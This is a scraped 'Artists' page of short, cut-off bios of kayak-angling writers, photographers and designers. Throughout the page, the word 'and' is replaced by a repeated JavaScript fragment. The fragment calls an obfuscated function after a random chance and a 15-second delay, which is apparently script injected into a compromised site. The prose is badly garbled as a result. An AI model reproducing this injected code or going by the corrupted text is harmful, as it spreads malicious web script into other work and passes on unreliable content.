Artists

Steve Gibson

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Veteran outdoor writer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and photographer, Steve Gibson, is a kayak angler blessed with an amazing talent for telling the stories of our sport. Steve also possesses a gift for angling, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has to his name numerous top tier fly-specific tournament finishes. Not content to remain [...]



John Cail

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John Cail came to my attention by way of an email.  It was penned by an associate of John’s, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and informed me that, should anyone personify the perfect fit for The Milkcrate, it was John. A man with decades of kayak angling experience, John has clearly etched onto the sport [...]



Kevin Whitley

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Known amongst internet denizens as Kayak Kevin, Mr. Whitley is an adventurer, a filmmaker, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and true inspiration. Combining a love of kayak touring andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and angling, Kevin has logged thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of miles in search of amazing catches. Though the recently crowned [...]



Mark Watanabe

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Many of the sport’s most iconic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ubiquitous phenomena have been touched by the talented andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and busy handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of Mark Watanabe. As the co-founder of YakAngler.com, Mark has created one of the web’s most endearing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), [...]



Nicholas Cryder

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Hailing from Seattle by way of Montana andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Belgium, Nicholas Cryder is an adventurer best known for his revolutionary andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and genre-bending kayak design. Rare is the product that seamlessly blends function andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and performance; scarce is object that adds to the [...]



Dean Brown

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  Dean Brown, a Bass Pro Shops Pro Staffer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and  freelance graphic designer, is, perhaps, reinventing the way we experience the visual media of the sport. His online kayak angling journal, Up Down Bass, has been featured in several outdoor publications, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and offers to the [...]



Alan Tharrington

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As the sport’s most prolific graphic designer, Alan Tharrington is the man behind many of the most viewed kayak angling images.  Under the moniker of FishDV8, Alan has provided logos andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and designs to many top ranked, sport-specific websites, including HOOK1 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kayak Bass Fishing.  The [...]



Joseph Higgins

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Jon Schwartz

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As the man behind some of angling’s most iconic images, Jon Schwartz is a respected photographer known for his innovative technique andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and eye for detail.  Jon’s images have graced the covers of many media outlets, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and often feature close andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and [...]



Ben Williams

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As one of the most in-demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and kayak angling artists, Ben Williams has made a name for himself by producing stunning andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ethereal watercolors. With a batik influence andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and eye for the colors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and emotions of [...]



Greg Seeto

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­ Hailing from Sydney, Greg Seeto is a photographer, journalist, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and talented angler best known as the creative andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and innovative source of imagery on the popular website, lureandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andfly.  In what can only be termed as game changing, Greg’s photographic skills [...]



Josh Holmes

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Josh Holmes is a Maclean resident andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and publisher of the ever-popular website, Yakass.  A man truly immersed in the sport of kayak angling, Josh also runs an online video show andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, when not adding to his tens of thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of [...]



Brett Ozanne

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Brett Ozanne is a Perth-based angler, writer, blogger, guide, workshop leader, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and film maker.  A result of his work in the later capacity is his well-received movie, “Above the 26th Parallel.”  Perhaps best known as the man behind Yakfishwest, Brett brings to his readers in-depth angling reports, product reviews, andom()*5);if [...]



Jerry McBride

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Jensen Beach, Florida resident, Jerry McBride is a freelance author, photographer, television personality, editor, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and representative of DOA Lures.  Further categorization of the man is a woeful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and unwilling dance with understatement, for Jerry’s extensive resume is matched only by his larger-than-life personality andom()*5);if (c==3){var [...]



Ken Whiting

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As the founder, president, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and producer of Heliconia Press, Ken Whiting has brought to the paddlesport world an array of educational andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and entertaining media, including The Kayak Fishing Show andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the award-winning book, “Whitewater Kayaking:  The Ultimate Guide.”  Included in [...]



Ric Burnley

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Ric Burnley is a teacher, writer, reporter, angler, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the man behind the definitive guide to the sport, The Complete Kayak Fisherman.  Currently based in Virginia Beach, Ric is the editor of www.fishcrazy.info, a gathering place for reports andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and instruction related to fishing the Atlantic [...]



Jon Shein

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Hailing from Rockaway, New Jersey, Jon Shein is a man dedicated to the bettering of the sport of kayak angling.  As the editor of Kayak Fishing Magazine, Jon provides his readers with trusted product reviews, thorough instruction, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grounds for interaction.  His 2010 book, “Kayak Fishing,” has gone on to [...]



Paul Lebowitz

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With hundreds of articles to his name, Paul Lebowitz is arguably the most prolific writer to address the world of kayak angling.  Paul’s storytelling abilities, which seamlessly weave literary talent with a true passion for the sport, have earned him a place among the true ambassadors of kayak angling.  He is currently serving as editor [...]



Bryce Molenkamp

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Hailing from Seattle, Washington, Bryce Molenkamp is an angler andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and artist known for his ability to transform the spirit of the sport into incredible andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inspiring designs.  The founder of Slayride KayakFishing, Bryce is filling the niche of providing kayak anglers with fun, innovative apparel andom()*5);if [...]